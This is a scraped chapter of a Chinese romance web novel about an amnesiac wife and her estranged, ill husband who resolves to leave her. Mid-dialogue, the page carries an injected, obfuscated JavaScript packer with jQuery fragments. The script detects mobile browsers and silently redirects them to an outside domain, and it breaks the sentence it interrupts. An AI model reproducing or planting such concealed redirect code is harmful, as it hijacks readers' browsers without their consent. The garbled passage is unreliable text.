默认冷灰
24号文字
方正启体

2. 放手

作者:旧山藏熹本书字数:K更新时间:
    府医很快就到了,说景云歌应该是落水时头部撞到了石头,加上受到刺激,才会失忆。


    除此之外并无大碍,只是从脉象看,似乎近日忧思过重,于是又开了几副安神养心的药。


    从始至终,苍定野都坐在窗边,远远看着这一切。他的脸陷在阴影里,看不清表情,只露出线条瘦削锋利的下颌,冷淡而疏离。


    直到府医收好药箱,低头告退,苍定野才沉沉开口,却是对小儿子:


    “苍北辰,你今天的功课做完没有?”


    坐在景云歌怀中的苍北辰失落地垂下眼。


    他恋恋不舍地松开景云歌的衣角,慢吞吞挪下床,故意装作毫不在意地对景云歌点点头:“母亲,你要好好休息。”


    怀里骤然冷了,景云歌也有点空落落的,但她还是点点头,揉了揉苍北辰的小脑袋,“没事,等你忙完功课,再来找娘亲玩,嗯?”


    苍北辰眼睛一亮,顾不得再故作沉稳,立刻道:“真的吗?”


    这是娘亲第一次允许来找她!


    景云歌被逗笑了:“自然。”


    苍定野看了景云歌一眼,似乎想要说什么。可是最后他什么都没说,骨节分明的手指慢慢划动轮椅,转身就要向外走去。


    这是景云歌没想到的。


    夫妻一场,她才死里逃生,他竟然连句话都不留?


    小时候苍定野就性情顽劣,故意欺负她。


    揪她小辫儿,往她裙摆上放瓢虫,把她惹哭了又厚着脸皮来道歉,笑嘻嘻地任由她往他身上砸拳头解气。


    没想到他长大之后更让人讨厌,板着张棺材脸,一句话都不说就要走!


    冷着脸色给谁看?


    景云歌心头涌起一阵委屈。


    但想起方才苍定野眉眼间的冷意,她又有点心虚,难道是之前自己惹到他了?


    景云歌从来不是内耗的性格,想了想,她开口道:“夫君,你是在生气吗?”


    苍定野挺阔锋利的后背骤然僵硬。


    他终于转过头,眼神复杂地望着她:


    “云歌,你叫我什么?”


    除了在外人面前逢场作戏,成婚四年,景云歌从未唤过他一声夫君。


    她是打心底不愿意嫁给他的。


    而如今,苍定野看着眼前的小姑娘,她眸子亮亮的,歪头望向苍定野时,澄澈平静。


    既没有恨,也没有痛苦。


    景云歌被他看得有些不明所以。


    二十五的苍定野已经成了喜怒不形于色的大人,她看不懂他眸中翻涌的情绪。


    但到底是这么多年一起长大,她能感觉到,虽然苍定野冷着俊脸,但是他并没有生气。


    于是小姑娘壮着胆,又叫了一声:


    “夫君?”


    这次再唤他,更多是试探他的态度。


    苍定野没应下,而是不动声色地岔开了话头:“还有事?”


    依旧端的是公事公办,拒人千里,那双漂亮的眼睛没有半分温度。


    景云歌心里隐约有点失落。


    难道长大后的自己,和苍定野关系不好?


    她尴尬地笑了笑,“没,没事了。”


    苍定野却没有动,目光仍旧停留在景云歌身上:“身上不舒服?”


    其实额角还是隐约作痛的,但景云歌摇头,“都很好,如果你还有事,就先去忙吧。”


    “嗯。”


    苍定野似乎想要说什么,胸口却骤然泛起一阵冷意,忍不住侧过头咳喘起来。


    如今才看出,他的身形已经极为单薄,只是咳喘,就几乎坐不稳,脸色也霎时变得惨白。


    “哎呀,你怎么了?”


    顾不得再想那些有的没的,景云歌连忙要扶住他。


    却没想到指尖才触到男人的后背,他便颤了一下,吃力地向后倾身,错开了她的接触。


    景云歌愣住了。


    她只好笑了一下,讪讪收回手,“不,不好意思啊。”


    “……我身上脏。”


    半晌,苍定野平复呼吸,才哑声说。


    景云歌怔了怔,后知后觉地反应过来,他是在解释,方才为什么不让她碰自己。


    心里涌起一阵莫名的酸涩,眼前人小心翼翼,患得患失,还是那个热烈鲜活、风光无限的小世子爷吗?


    从前他随父亲出征,在战场上受了伤,回到帝都后也是这样,躲躲闪闪,不肯让她看见。


    想到这里,她不忍心再与他置气。


    抿了抿唇,景云歌拉住他瘦骨嶙峋的手腕,小声道:“苍……苍定野,你是不是生病了?”


    既然这人如今病着,那她就大度一点,不计较他不冷不热的态度了。


    她看着苍定野,那双漂亮的凤眸中,满是担忧和认真。


    苍定野只觉得恍惚,手腕微微动了动,不知是病得没有力气,还是舍不得离开,到底停留在她温暖干燥的掌心中。


    他的声音很轻,压抑着一直藏在心底的难过与刺痛,“……云歌,你还记得多少事情?”


    直到今天早上她来书房,说要同他和离,他们已经整整两年没有说过话了。


    眼前这个对他全然没有恨的景云歌,太陌生,也太美好。


    总让他想起一切都没没有发生的时候。


    那时她虽然喜欢凌沧时,但至少还愿意同他说话,愿意对他笑,愿意叫他苍定野。


    不像后来,眼中再没有半分感情。


    景云歌努力回想了一下,但紧接着头就痛起来,她忍不住“嘶”地一声,“我……我只记得马上要……要与沧时哥订婚……然后睡了一觉,睁开眼就变成现在这样了。”


    听到凌沧时的名字,苍定野的手微微一动。他望着她,神色没什么变化,眼神如同一潭幽深的死水:


    “那如今云歌还想与他成婚吗?”


    景云歌本就头痛,闻言没好气地看了苍定野一眼,仿佛对方在说什么胡话,“当然不想,孩子都这么大了,我找他干什么?”


    她说的是实话,本来就对凌沧时没有那方面的感情,最后未能与他成婚也不是坏事。


    苍定野只是点点头,什么都没说。


    事到如今,他才确定,她是真的失忆了。


    若是二十二岁的景云歌,恐怕早就让他滚出去了。


    更毋论这般近亲近动作。


    景云歌到底是才落水,折腾这么久,困意又沉沉袭来。苍定野看出来了,他示意苍北辰从床上下来,迟疑着,对景云歌道:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763605|174493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你先好好休息。”


    景云歌已经困得睁不开眼,便含混地应了一声。苍定野又看了她片刻,才不舍地转过身,只是还未离开,就听到景云歌像猫儿似的叫了一声他的名字。


    他再次回过头。


    小姑娘似乎已经半睡半醒,浓密纤长的睫毛垂着,委屈地小声嘟哝:“苍定野……好凶啊。”


    他怔了一下。


    曾经的记忆再次涌起,大婚那夜,他小心翼翼地挑起盖头,唤她歌儿。


    她却冷冷抬起头,声音比外面的飞雪还要寒凉:


    “苍定野,你也配唤我歌儿?”


    ——他不配。


    他也不配叫她夫人。


    因为她是他抢来的。


    他本不配做她的夫君。


    又怎么能以妻子的名义困住她。


    于是他唤她“云歌”,像她那些并不熟识的朋友那样,客气而疏离。


    如今,她失去了记忆,忘却了前尘,仿佛还是当年那个无忧无虑的小姑娘,追在他的身后,肆意张扬,亲密无间。


    苍定野的喉结微不可察地滚动了一下。


    “……歌儿。”他生涩地开口,仿佛已经忘记这个名字该如何发音,又仿佛害怕打破如今宁静的氛围,声音极轻,“睡吧。”


    听到这一声“歌儿”,景云歌慢慢松开手,很快彻底睡去。


    ……


    出了寝殿,日光正好,洒落一地。


    “爹爹。”


    苍北辰跟在父亲身后,犹豫片刻,终于还是开口道:“您为什么不留下来陪母亲?”


    明明那么担心母亲,在母亲的寝殿外守了整整一夜。


    “而且……”他小声嗫嚅,“母亲失忆后,似乎变了。”


    苍定野沉默片刻。


    他承认,听到景云歌的那声“夫君”,死寂许久的心,确实动了动。


    但也只有那一下。


    刹那生灭。


    “你母亲迟早会恢复记忆。”苍定野平静道。


    他知道,景云歌恨他入骨,恨不能让他去死。


    四年前,她也确实这么做了。


    如果知道她宁可投水自戕都要与他和离,苍定野今天早晨一定会把和离书签下的。


    他早该明白,她厌恶他,已经到了宁可死都不愿意再见的程度。


    只不过是如今失忆了,忘记了从前那些鲜血淋漓的往事,所以才愿意与他亲近。


    如果他趁人之危,景云歌恢复记忆后,只会更恨他。


    他不想这样。


    只是想起那时她冷漠疏离的眼神,他的心口就一阵抽痛。


    “……明日,我带兵去云中。”


    半晌,苍定野闭上眼,又缓缓睁开,“你在家照顾好你母亲。不许再多嘴一句。”


    与景云歌分开一段时间,是最好的选择。


    这种血瘀导致的失忆,在战场上很常见,苍定野知道,并不会持续太久。


    在这期间,他们保持距离,对彼此都好。


    面对如今的景云歌,然后再次失去她,对苍定野而言太过残忍。


    今晚。


    他对自己说。


    今晚再和她道个别。


    就可以彻底放手了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)